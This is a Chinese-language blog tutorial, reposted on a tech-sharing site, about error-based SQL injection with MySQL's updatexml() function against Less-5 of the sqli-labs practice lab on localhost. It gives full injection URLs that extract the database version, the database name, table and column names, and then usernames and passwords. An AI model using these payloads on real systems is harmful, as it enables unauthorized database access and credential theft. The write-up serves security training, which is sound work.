ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqli-labs第5关updatexml报错注入

2022-08-18 13:02:22  阅读:186  来源: 互联网

标签:0x7e labs sqli 报错 select updatexml table id concat


   这里选用的是第五关进行演示,首先根据页面提示输入?id=1页面返回的都是正常,输入?id=1'时,页面报错了,

 

 

 

 

 

 

 

 

接着判断字段数,这里选择用?id=1 order by 1--+是不行的

 

 这里选择用updatexml报错注入进行演示:注入之前,首先得明白updatexml函数的利用方式以及函数语法。

updatexml()

函数语法:updatexml(XML_document, XPath_string, new_value);

适用版本: 5.1.5+
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

我们通常在第二个xpath参数填写我们要查询的内容。

与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。

payload:

前后添加~使其不符合xpath格式从而报错。
updatexml(1,concat(0x7e,(select user()),0x7e),1)

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
函数利用和语法明白了,下面注入的payload就清楚明白

存在注入,利用updatexml函数,构造payload:?id=1' and updatexml(1,concat(0x7e,version()),1)--+

 0x7e就是一个波浪线符号 :  ~

 

 获取数据库名:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),0)--+

 

 爆表:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+

 

 发现回显数据超过1行,无法显示。这个时候limit函数的作用就出现了limit函数
limit 0,1, 从表中的第0个数据开始,只读取一个为了更好明白limit函数作用,先在mysql中看一看全表

 

 http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+

 

 http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1)),0)--+

 

 http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0)--+

 

 上述是通过limit()函数进行一个一个的获取表信息,这里也可以一次性获取表信息:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(table_name)),0x7e)from information_schema.tables where table_schema='security'),0x7e),1) --+

 

 接下来获取列字段信息:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(column_name)),0x7e)from information_schema.columns where table_schema='security' and  table_name='users'),0x7e),1) --+

 

 现在已经得到所有表名,下一步去获取users表中的列名,同上面一样,使用limit获取列名

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 13,1)),0)--+ 

 

 进行获取第13位用户名的   密码

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select password from users limit 13,1)),0)--+ 

 

 

 

 

 

标签:0x7e,labs,sqli,报错,select,updatexml,table,id,concat
来源: https://www.cnblogs.com/linyu51/p/16598303.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有